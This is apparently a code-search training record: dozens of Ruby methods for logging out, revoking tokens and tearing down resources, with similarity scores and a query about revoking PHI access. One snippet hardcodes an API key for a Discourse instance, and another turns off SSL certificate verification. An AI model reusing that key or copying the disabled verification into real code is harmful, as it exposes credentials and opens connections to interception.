tokens.update_all(revoked_at: Time.now, updated_at: Time.now)\n end", "def destroy\n # super\n # raise Visit.where(user_id: current_user.id status: 'waiting').inspect\n @visit = Visit.where(\"user_id = ? AND status = ?\", current_user.id, 0)\n @visit[0].update(status: 2) if @visit[0]\n \n reset_session\n cookies[:user_id] = nil\n cookies[:user_name] = nil\n redirect_to \"/login/#{params[:id]}\"\n end", "def revoke\n ip, security_group = parse_security_group_and_ip_from_args\n rds.revoke_db_security_group_ingress(security_group, 'CIDRIP' => ip)\n self.access\n end", "def destroy\n Puppet.debug(\"Calling destroy method of security_policy_cloakingprovider: \")\nend", "def abandon!\n @user = nil\n session.clear\n end", "def destroy\n requires_existing_vm\n domain.undefine\n set_domain(nil)\n end", "def destroy\n user_session.log_out\n redirect_to root_url\n end", "def revoke\n @delegation = current_user.employee_delegations.find_by(token: params[:delegation_id])\n if @delegation.nil?\n flash[:alert] = 'You are not authorised to access this page'\n redirect_to root_path and return\n else\n @delegation.deactivate('employee')\n flash[:notice] = 'Confirmed! Your account is no longer controlled by ' + @delegation.manager.full_identity\n redirect_to root_path and return\n end\n end", "def kill\n\t\tframework.sessions.deregister(self)\n\tend", "def kill\n\t\tframework.sessions.deregister(self)\n\tend", "def desist\n self.class.delete self\n end", "def revoke(user_id)\n require_user\n\n user = User.find(user_id)\n user.secrets.each do |secret|\n secret.destroy\n end\n\n user.destroy\n end", "def destroy\n conn.delete(self_link)\n end", "def exec_logout\n core_destroySession\n redirect_to lato_core.login_path\n end", "def destroy\n # Clear their site ID.\n session[:site_id] = nil\n super\n end", "def delete\n Authentication.where(user_id: id).each { |auth| auth.delete }\n super\n end", "def destroy\n session[:user_id] = nil\n session[:roles_permissions_data] = nil\n session[:current_user_school_id] = nil\n #render 'index'\n redirect_to root_url, :notice => \"Logged out!\"\n end", "def clear_accessors\n get_privacy_setting.accessors.clear\n end", "def destroy\n session.delete(:user)\n end", "def destroy\n\t\tsession.delete('cas')\n\t\tredirect_to :root, notice: \"Logged out!\"\n\tend", "def destroy \n\t session[:guestaccount_id] = nil \n\t \n\tend", "def sign_out(resource_or_scope); end", "def sign_out(resource_or_scope); end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def destroy_backend\n Rails.logger.info \"Removing tenant #{self.name} with tenant id #{self.uuid}.\"\n\n Rails.logger.info \"Undeploying all instances for tenant #{self.name}...\"\n # Delete all instances\n if self.instances.count > 0\n success = self.instances.each {|i| i.undeploy }\n if success\n Rails.logger.info \"Removed all instances for tenant #{self.name}.\"\n else\n Rails.logger.error \"Could not remove instance during project deletion:\"\n Rails.logger.error \"Instance: #{i.name} #{i.id} #{i.uuid}\"\n return false\n end\n end\n\n compute_c = get_connection(\"compute\")\n network_c = get_connection(\"network\")\n identity_c = get_connection(\"identity\")\n\n # Unallocate floating ips\n floating_ips = compute_c.get_floating_ips\n floating_ips.each do |ip|\n Rails.logger.info \"Deleting floating ip #{ip.ip} with id #{ip.id}\"\n compute_c.delete_floating_ip(ip.id)\n end\n\n routers = network_c.list_routers.select {|router| router.tenant_id == self.uuid}\n subnets = network_c.list_subnets.select {|subnet| subnet.tenant_id == self.uuid}\n networks = network_c.list_networks.select {|network| network.tenant_id == self.uuid}\n\n # Clear all router gateways\n routers.each do |router|\n Rails.logger.info \"Clearing router gateway for #{router.name} with id #{router.id}.\"\n # Remove gateway from the router\n network_c.update_router(router.id, {\"external_gateway_info\" => {}})\n end\n\n # loop through each network\n # For each router, remove any subnet interfaces\n networks.each do |network|\n subnets.select {|subnet| subnet.network_id == network.id}.each do |subnet|\n routers.each do |router|\n begin\n Rails.logger.info \"Attempting to remove router interface for subnet #{subnet.name} with id #{subnet.id} from router #{router.name} with id #{router.id}.\"\n network_c.remove_router_interface(router.id, subnet.id)\n Rails.logger.info \"Successfully removed router interface for subnet #{subnet.name}.\"\n rescue => e\n Rails.logger.error \"Tried to remove router interface for subnet #{subnet.name} with id #{subnet.id} from router #{router.name} with id #{router.id}.\"\n end\n end\n end\n end\n\n # Delete all subnets\n subnets.each do |subnet|\n Rails.logger.info \"Deleting subnet #{subnet.name} with id #{subnet.id}\"\n network_c.delete_subnet(subnet.id)\n end\n\n # Delete all routers\n routers.each do |router|\n Rails.logger.info \"Deleting router #{router.name} with id #{router.id}\"\n network_c.delete_router(router.id)\n end\n\n # Delete all networks\n networks.each do |network|\n Rails.logger.info \"Deleting network #{network.name} with id #{network.id}\"\n network_c.delete_network(network.id)\n end\n\n # Finally, delete the tenant\n Rails.logger.info \"Deleting tenant #{self.name} with id #{self.uuid}\"\n identity_c.delete_tenant(self.uuid)\n\n Rails.logger.info \"Removal of tenant #{self.name} on the OpenStack backend succeeded.\"\n end", "def log_out\n session.delete(:teacher_id)\n @current_teacher = nil\n end", "def destroy\n\t\tlog_out\n\t\tredirect_to homepage_path\n\tend", "def decommission\n actually_decomission = false\n\n self.transaction(Zartan::Application.config.default_transaction_options) do\n if self.no_sites?\n # soft-delete the proxy so that nobody else tries to use it\n self.soft_delete\n self.save\n # Decomission the proxy outside of the transaction\n actually_decomission = true\n end\n end\n # Tear down the proxy outside of the transaction because we don't need\n # the database anymore.\n self.source.decommission_proxy(self) if actually_decomission\n end", "def destroy\n log_out\n redirect_to root_url\n end", "def revoke_access(user_identifier)\n Scribd::Security.revoke_access user_identifier, self\n end", "def destroy\n log_out\n redirect_to root_path\n end", "def destroy\n puts(\"Tacos are indestructible\")\n end", "def destroy\n log_out\n redirected_to root_url\n end", "def destroy\n # destroy not implemented - only admins may \"purge\" or \"delete\" users\n raise \"This action is not implemented\"\n end", "def destroy\n @current_user = nil\n\n # Remove the hip_session id, since that kind of goes along\n # with login. Yeah, this code is far away from where hip_session\n # gets created making for confusion, sorry.\n #session.delete(:hip_session_id)\n # actually, destroy the whole damn session, why not, we're redirecting\n # them elsewhere anyway.\n reset_session\n\n # Remove shib cookies to log out of local Shib Service Provider.\n # But this doesn't work anyway, not sure why.\n #cookies.keys.find_all {|k| k =~ /^_shibsession_/ || k =~ /^_shibstate_/}.each { |cookie| cookies.delete(cookie) }\n\n redirect_to \"https://login.johnshopkins.edu/cgi-bin/logoff.pl\"\n\n end", "def destroy\n session[:superadmin_mode] = false\n redirect_to_home\n end", "def deauthenticate\n self.clear_current_user\n redirect_to :root\n end", "def destroy\n requires :ip\n remove(:release => true)\n end", "def destroy\n user_id = app_session.current_user_id\n current_user_session.register_logout\n\n app_session.logged_out\n DeterLab.logout(user_id)\n SslKeyStorage.delete(user_id)\n\n ActivityLog.for_user(user_id).add(:logout, user_id)\n rescue DeterLab::NotLoggedIn\n # That's ok. We are logging out anyway\n ensure\n redirect_to :login, notice: t(\".success\")\n end", "def destroy\n reset_session()\n view_context.apphelp_flash( :notice, :signed_out )\n\n redirect_to( signin_path() )\n end", "def logout_auth_all\r\n\t\tsign_out current_user if(user_signed_in?)\r\n\t\tredirect_to SERVICE_AUTH_URL_SIGN_OUT\r\n\tend", "def destroy\n begin\n client = DiscourseApi::Client.new(\"https://intranet.cuhappycorner.com\")\n client.api_key = \"1729b13700d45e58d2e3d81c1bee5431a5167244e75389c07bb613fae54777ee\"\n client.api_username = \"ckho\"\n user = client.by_external_id(current_user.id)\n client.log_out(user[\"id\"]) if user\n rescue\n # nothing\n ensure\n super\n end\n end", "def delate_constraint\n\t\tdelete_constraint_check(params[:user_id], params[:constraint_id])\n\t\tConstraint.delete(params[:constraint_id])\n\t\tredirect_to settings_page_path(id: params[:user_id])\n\tend", "def destroy\n @secret.destroy\n head :no_content\n end", "def destroy\n \tlog_out if logged_in?\n redirect_to root_url\n end", "def log_out_tenant\n \t\tsession.delete(:tenant_id)\n \t\t@current_tenant = nil\n \tend", "def destroy\n # Shutdown pool if active\n service.pool_action uuid, :destroy if active?\n # If this is a persistent domain we need to undefine it\n service.pool_action uuid, :undefine if persistent?\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.filter(:id => id).update :revoked => revoked\n AuthRequest.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessGrant.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessToken.collection.filter(:client_id => id).update(:revoked => revoked)\n end", "def purge\n @user.destroy\n redirect_to admin_users_path\n end", "def delete\n\t\tcurrent_user\n\t\tcurrent_user.regexpressions.destroy_all\n\t\tcurrent_user.tasks.destroy_all\n\t\tcurrent_user.clouds.destroy_all\n\t\tcurrent_user.platforms.destroy_all\n\t\tcurrent_user.demos.destroy_all\n\t\tcurrent_user.favorites.destroy_all\n\tend", "def possessionrevoke\n party = Party.find(params[:party_id])\n possession = party.possessions.find(params[:possession_id])\n party.possessions.delete(possession)\n \n redirect_to :action => 'relationshipassignment', :party_id => params[:party_id]\n end", "def destroy\n log_out\n redirect_to root_url\n end", "def destroy\n log_out\n redirect_to root_url\n end", "def destroy\n @session[:user_id] = nil\n @current_user = nil\n end", "def destroy\n @session.clear\n end", "def forget_everything\n empty_session!\n PersistentUser.new(@user).delete\n end", "def destroy\n self.current_person.forget_me if logged_in?\n cookies.delete :auth_token\n reset_session\n flash[:notice] = t('sessions.destroy.logged_out')\n redirect_to login_path\n end", "def unload!\n Origen.app.unload_target!\n end", "def stop_impersonating\n stop_impersonating_user\n redirect_to root_path and return\n end", "def destroy\n session[:user_id] = nil\n redirect_to pages_logout_path\n end", "def revoke_all_account_and_authentication_tokens\n self.redis.keys(account_token_key('*')).each do |token_key|\n token = token_key.gsub(\"user:#{id}:account_token:\", '')\n revoke_token(token)\n end\n end", "def delete(instance) # rubocop:disable Metrics/AbcSize\n authcookie = ComputeBase.new\n authcookie = authcookie.authenticate(id_domain, user, passwd, restendpoint)\n url = restendpoint + @function + instance\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port, @proxy_addr, @proxy_port) # Creates a http object\n http.use_ssl = true # When using https\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Delete.new(uri.request_uri)\n request.add_field 'accept', 'application/oracle-compute-v3+json'\n request.add_field 'Cookie', authcookie\n http.request(request)\n end", "def destroy\n UltraVault::AgentService.new.destroy_agent(self.id)\n self\n end", "def logout\n session[:user] = nil\n session[:permissions] = {}\n session[:admin_user_id] = nil\n redirect_to '/'\n end", "def destroy\n sign_out\n redirect_to root_path\n end", "def destroy\n sign_out\n redirect_to root_path\n end", "def destroy\n sign_out\n redirect_to root_path\n end" ]
[ "0.5888611", "0.579848", "0.5727517", "0.5698714", "0.5692734", "0.5665577", "0.56068414", "0.56044024", "0.5526789", "0.552085", "0.5512875", "0.5509194", "0.5509194", "0.5503925", "0.549266", "0.5480225", "0.5466496", "0.54552156", "0.5449698", "0.5447445", "0.5439153", "0.5419023", "0.53987706", "0.53713626", "0.5364161", "0.5351619", "0.53233975", "0.5322587", "0.5318231", "0.5301183", "0.5298586", "0.5297195", "0.5291993", "0.52897763", "0.52865094", "0.5284947", "0.5269767", "0.5257879", "0.5250166", "0.5239209", "0.5223836", "0.52190864", "0.52182776", "0.5210907", "0.5202401", "0.5198933", "0.5190434", "0.5182703", "0.517855", "0.51773584", "0.5173139", "0.5166071", "0.51609457", "0.51589376", "0.5158912", "0.5158912", "0.5151108", "0.51491845", "0.5146729", "0.5146206", "0.5141792", "0.51385677", "0.5134334", "0.5128682", "0.51279175", "0.51194894", "0.5118831", "0.5115971", "0.51134485", "0.51112777", "0.5110576", "0.5103756", "0.51037526", "0.5103174", "0.5102157", "0.51005113", "0.50909007", "0.5085473", "0.5082738", "0.5076916", "0.5070193", "0.50692296", "0.5063631", "0.5062371", "0.5058813", "0.5058813", "0.50550175", "0.50447327", "0.5042548", "0.503529", "0.5032848", "0.5031115", "0.50307274", "0.50307053", "0.5028003", "0.5027087", "0.50251025", "0.50232124", "0.50232124", "0.50232124" ]
0.5926773
0
Dissables PHI access for a single instance of this class inside the block. Nested calls to allow_phi will log once per nested call
def disallow_phi raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given? add_disallow_flag! add_disallow_flag_to_extended_phi! yield if block_given? remove_disallow_flag_from_extended_phi! remove_disallow_flag! end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def get_phi(user_id = nil, reason = nil, allow_only: nil)\n raise ArgumentError, 'block required' unless block_given?\n\n if allow_only.present?\n raise ArgumentError, 'allow_only must be iterable with each' unless allow_only.respond_to?(:each)\n raise ArgumentError, \"allow_only must all be `#{name}` objects\" unless allow_only.all? { |t| t.is_a?(self) }\n raise ArgumentError, 'allow_only must all have `allow_phi!` methods' unless allow_only.all? { |t| t.respond_to?(:allow_phi!) }\n end\n\n # Save this so we don't revoke access previously extended outside the block\n frozen_instances = __instances_with_extended_phi.index_with { |obj| obj.instance_variable_get(:@__phi_relations_extended).clone }\n\n if allow_only.nil?\n allow_phi!(user_id, reason)\n else\n allow_only.each { |t| t.allow_phi!(user_id, reason) }\n end\n\n result = yield if block_given?\n\n __instances_with_extended_phi.each do |obj|\n if frozen_instances.include?(obj)\n old_extensions = frozen_instances[obj]\n new_extensions = obj.instance_variable_get(:@__phi_relations_extended) - old_extensions\n obj.send(:revoke_extended_phi!, new_extensions) if new_extensions.any?\n else\n obj.send(:revoke_extended_phi!) # Instance is new to the set, so revoke everything\n end\n end\n\n if allow_only.nil?\n disallow_last_phi!\n else\n allow_only.each { |t| t.disallow_last_phi!(preserve_extensions: true) }\n # We've handled any newly extended allowances ourselves above\n end\n\n result\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def allow_phi(user_id = nil, reason = nil, &block)\n get_phi(user_id, reason, &block)\n return\n end", "def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)\n get_phi(user_id, reason, allow_only: allow_only, &block)\n return\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def unprotected(&block)\n begin\n @unprotected = true\n block.call\n ensure\n @unprotected = false\n end\n end", "def unprotect\n @target\n end", "def get_phi(user_id = nil, reason = nil)\n raise ArgumentError, 'block required' unless block_given?\n\n extended_instances = @__phi_relations_extended.clone\n allow_phi!(user_id, reason)\n\n result = yield if block_given?\n\n new_extensions = @__phi_relations_extended - extended_instances\n disallow_last_phi!(preserve_extensions: true)\n revoke_extended_phi!(new_extensions) if new_extensions.any?\n\n result\n end", "def unprotect()\n res = super(context,self)\n return res\n end", "def revoke_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n @__phi_relations_extended.subtract(relations)\n end", "def disable_paranoid\n if block_given?\n @paranoid = false\n yield\n else\n raise 'Only block form is supported'\n end\n ensure\n @paranoid = true\n end", "def verify_tenant_access\n begin\n\n yield\n\n MultiTenant.pending_verification.each do |pending|\n rec, model = pending\n curr_id = MultiTenant.current_tenant.id\n\n multi_tenant_incr(rec)\n\n rec_tenant = rec.send(model)\n if rec_tenant.nil? then\n # if no tenant, then must be globally accessible\n multi_tenant_decr()\n return\n end\n\n other_id = rec_tenant.id\n if curr_id != other_id then\n # PANIC\n multi_tenant_reset()\n raise AccessException, \"illegal access: tried to access tenant.id=#{other_id}; current_tenant.id=#{curr_id}\"\n end\n\n multi_tenant_decr()\n end\n\n ensure\n MultiTenant.pending_verification.clear\n MultiTenant.current_tenant = nil\n end\n end", "def untrust!\n MTurkUtils.untrust_user self\n end", "def deny_yin_yang(prock, diagnostic = nil, &block)\n source = reflect_source(&block)\n fuss = [diagnostic, \"fault before calling:\", source].compact.join(\"\\n\")\n assert fuss, &prock\n block.call\n fuss = [diagnostic, \"fault after calling:\", source].compact.join(\"\\n\")\n assert fuss, &prock\n end", "def unguarded(&block)\n @guard_count += 1\n super\n end", "def phi_wrap_method(method_name)\n unless respond_to?(method_name)\n PhiAttrs::Logger.warn(\"#{self.class.name} tried to wrap non-existant method (#{method_name})\")\n return\n end\n return if self.class.__phi_methods_wrapped.include? method_name\n\n wrapped_method = :\"__#{method_name}_phi_wrapped\"\n unwrapped_method = :\"__#{method_name}_phi_unwrapped\"\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n unless phi_allowed?\n raise PhiAttrs::Exceptions::PhiAccessException, \"Attempted PHI access for #{self.class.name} #{@__phi_user_id}\"\n end\n\n unless all_phi_context_logged?\n PhiAttrs::Logger.info(\"#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}\")\n set_all_phi_context_logged\n end\n\n send(unwrapped_method, *args, **kwargs, &block)\n end\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_wrapped << method_name\n end", "def evict_tenant\n\t\t#if @is_rental?\n\tend", "def unlock_access!; end", "def without_auditing(&block)\n self.class.without_auditing(&block)\n end", "def without_instrumentation\n Appsignal::Transaction.current.pause! if Appsignal::Transaction.current\n yield\n ensure\n Appsignal::Transaction.current.resume! if Appsignal::Transaction.current\n end", "def without_instrumentation\n Appsignal::Transaction.current.pause! if Appsignal::Transaction.current\n yield\n ensure\n Appsignal::Transaction.current.resume! if Appsignal::Transaction.current\n end", "def phi_allowed_by\n phi_context[:user_id]\n end", "def remove_disallow_flag_from_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.remove_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def temp(tenant_session, &block)\n original = self.tenant_session\n begin\n self.tenant_session = tenant_session\n yield\n ensure\n self.tenant_session = original\n end\n end", "def deny\n throw(:return)\n end", "def disable_referential_integrity(&block)\n yield\n end", "def leaving_wrap_method\n @@inside_methods -= 1\n end", "def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def without_auditing(&block)\n self.class.without_auditing(&block)\n end", "def without_auditing(&block)\n self.class.without_auditing(&block)\n end", "def send_bypass_singleton meth, *args, &block\n self.class.instance_method(meth).bind(self).call *args, &block\n end", "def protect()\n res = super(context,self)\n return res\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def make_private!\n reinitialize_rules!\n allow_if do\n false\n end\n return self\n end", "def with_method_transaction\n temp_name = \"__pry_#{method.original_name}__\"\n method = self.method\n method.owner.class_eval do\n alias_method temp_name, method.original_name\n yield\n alias_method method.name, method.original_name\n alias_method method.original_name, temp_name\n end\n\n ensure\n method.send(:remove_method, temp_name) rescue nil\n end", "def without_locking(&block)\n self.class.without_locking(&block)\n end", "def without_auditing\n auditing_was_enabled = class_auditing_enabled\n disable_auditing\n yield\n ensure\n enable_auditing if auditing_was_enabled\n end", "def stop_intercepting!\n @original_methods.each do |m|\n class_eval do\n alias_method m, \"intercepted_#{m}\"\n remove_method \"intercepted_#{m}\"\n end\n end\n\n class_eval do\n remove_method :synthesis_expectation\n remove_method :synthesis_expectation=\n end\n end", "def visible_check(_traversal_env)\n Result::DENY\n end", "def t__75!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 20)\n\n type = T__75\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 26:9: 'protected'\n match(\"protected\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 20)\n\n end", "def disable!\n @mutex.synchronize do\n return self if ! @enabled\n\n this = self\n mod_target.instance_eval do\n if method_defined? this.old_meth\n alias_method this.meth, this.old_meth\n\n case this.scope\n when :private\n private this.meth\n when :protected\n protected this.meth\n end\n end\n end\n\n disabled!\n @enabled = false\n end\n\n self\n end", "def suspend()\n #This is a stub, used for indexing\n end", "def disable_authentication_controls(prepare_only=false)\n Rails.logger.debug(\" #{self.class.name}.#{__method__}(#{name}) Token=#{person_authentication_key}\")\n return self if prepare_only\n self.last_access = Time.zone.now\n delete_storage_object(person_authentication_key.to_sym)\n proxy_u.save!\n true\n end", "def unrealize_self\n raise NotImplementedError\n end", "def unauthenticated(scope = T.unsafe(nil)); end", "def unfreeze(&block); end", "def disallow(&block)\n collect_bucket(&block)\n scope = @_env.nil?? :global : @_env\n if @_bucket.any?\n @_disallowed_routes[scope].push(@_bucket).flatten!\n end\n @_bucket = nil\n end", "def test_hosts_are_not_traced_if_on_the_denylist\n desc = basic_grpc_desc\n desc.instance_variable_set(:@trace_with_newrelic, false)\n\n new_transaction_called = false\n NewRelic::Agent::Transaction.stub(:start_new_transaction, proc { new_transaction_called = true }) do\n # by passing nil as the first argument, an exception will happen if the\n # code proceeds beyond the early return. this gives us confidence that the\n # early return is activated\n result = desc.handle_with_tracing(nil, nil, nil, nil) { return_value }\n\n assert_equal return_value, result\n refute new_transaction_called\n end\n end", "def deco_call; end", "def warden(&block); end", "def discard_transaction\n\t clear_vertex\n\t super if defined? super\n\tend", "def without_approval(&block)\n memory = self.class.approvals_active # If we use #approvals_enabled? the global state might be incorrectly applied.\n self.class.approvals_off\n instance_eval &block\n ensure\n self.class.approvals_on if memory\n end", "def get_private(phi, e)\n (2...phi).find {|d| e*d % phi == 1}\nend", "def orphan_self_and_children\n self.class.transaction do\n orphan_children\n orphan\n end\n end", "def cleanup_phi_nodes\n nodes.dup.each do |node| # dup because we're mutating\n next unless node.is_a?(PhiNode)\n\n if node.inputs.size == 1\n # Remove phi nodes with a single input.\n connect_over(node)\n remove(node)\n elsif node.inputs.map(&:from).uniq.size == 1\n # Remove phi nodes where all inputs are the same.\n producer_edge = node.inputs.first\n consumer_edge = node.outputs.find { |e| !e.to.is_a?(MergeNode) }\n connect(\n producer_edge.from,\n consumer_edge.to,\n :data,\n consumer_edge.label\n )\n remove(node)\n end\n end\n end", "def taint() end", "def skip_policy_scope; end", "def ignore_enduser\n record_api_supportability_metric(:ignore_enduser)\n NewRelic::Agent::Transaction.tl_current&.ignore_enduser!\n end", "def global_proxy_exclusion\n super\n end", "def uncan_all()\n self.brk_excluded = :all\n end", "def `(*args); forbidden(__method__); end", "def allow_anon\n end", "def enforce\n @@mutex.synchronize {\n\treturn false if @defused\n\n\t@thread.raise @klass, 'execution expired'\n\t@defused = true\n\ttrue\n }\n end", "def disable_all_tracing\n record_api_supportability_metric(:disable_all_tracing)\n\n return yield unless agent\n\n begin\n agent.push_trace_execution_flag(false)\n yield\n ensure\n agent.pop_trace_execution_flag\n end\n end", "def without_access_control\n previous_state = Authorization.ignore_access_control\n Authorization.ignore_access_control(true)\n result = yield\n ensure\n Authorization.ignore_access_control(previous_state)\n result\n end", "def disable_method_checking!\n Thread.current[:'method checking disabled'] = true\n end", "def ~() end", "def ~() end", "def disable_mutation_tracking\n @track_mutations = false\n end", "def disable_pending_cops=(_arg0); end", "def prepare_to_check_solution\n @check_solution = session[:check_solution]\n session[:check_solution] = nil\nend", "def prevent_tampering\n self.empathy_level = 0\n self.inner_comments_count = 0\n end", "def without_auditing\n auditing_was_enabled = auditing_enabled\n disable_auditing\n yield\n ensure\n enable_auditing if auditing_was_enabled\n end", "def orphan_self_and_parent_adopts_children\n self.class.transaction do\n parent_adopts_children\n orphan\n end\n end", "def proxy_exclusion\n super\n end", "def disable_pending_cops; end", "def guard(object)\n caller_object_id = object.__id__\n return object if @object_ids.key?(caller_object_id)\n @object_ids[caller_object_id] = nil\n yield\n end", "def allowFleeing _obj, _args\n \"_obj allowFleeing _args;\" \n end", "def all_phi_allowed_by\n self.class.__user_id_string(all_phi_context)\n end", "def temporary_access_pass_methods=(value)\n @temporary_access_pass_methods = value\n end", "def ignore!\n @active = false\n self\n end", "def delete_blocked\n end", "def disable!\n @mutex.synchronize do\n @advised.each { | x | x.disable! }\n end\n self\n end", "def clear_grants_hack()\n self.grants.clear\n end", "def track_visitor\n return if ignore_funnel_tracking?\n register_funnel_visitor unless visitor_registered?\n end", "def lock_self_and_visits!\n self.lock!\n self.visits(:lock => true)\n end" ]
[ "0.80872554", "0.8009705", "0.78500485", "0.769474", "0.7293979", "0.6542915", "0.64734524", "0.6473243", "0.6387794", "0.63632447", "0.6163342", "0.59541714", "0.5947118", "0.5931487", "0.59151083", "0.55448174", "0.5350029", "0.5335636", "0.52979505", "0.5280221", "0.5227074", "0.5224446", "0.5046129", "0.49967512", "0.4967819", "0.49621892", "0.49525824", "0.495227", "0.49281654", "0.4900851", "0.4896566", "0.4896566", "0.48758766", "0.4803676", "0.48029405", "0.4774263", "0.47733003", "0.4767619", "0.47571227", "0.4747203", "0.4747203", "0.47357965", "0.47328746", "0.47258493", "0.47258493", "0.47258493", "0.47258493", "0.4717945", "0.47134197", "0.4711565", "0.47006088", "0.4689215", "0.46713084", "0.46697053", "0.4660806", "0.4653781", "0.46489972", "0.46457747", "0.46415383", "0.46278608", "0.46278048", "0.46213296", "0.4616525", "0.46109602", "0.46105096", "0.46089673", "0.46076745", "0.4605297", "0.46031207", "0.45966285", "0.45903087", "0.45857406", "0.45841905", "0.45752656", "0.4572977", "0.45625675", "0.45589995", "0.45460272", "0.45410156", "0.45312804", "0.45264298", "0.45264298", "0.45232296", "0.45161435", "0.4514694", "0.4512561", "0.4505931", "0.45044965", "0.44988042", "0.44977674", "0.44950867", "0.44948864", "0.44942632", "0.44940358", "0.44933417", "0.44848877", "0.44831595", "0.4477055", "0.44766048", "0.44689378" ]
0.6560936
5
Revoke last PHI access for a single instance of this class.
def disallow_last_phi!(preserve_extensions: false) raise ArgumentError, 'block not allowed' if block_given? PhiAttrs::Logger.tagged(*phi_log_keys) do removed_access = @__phi_access_stack.pop revoke_extended_phi! unless preserve_extensions message = removed_access.present? ? "PHI access disabled for #{removed_access[:user_id]}" : 'PHI access disabled. No instance level access was granted.' PhiAttrs::Logger.info(message) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
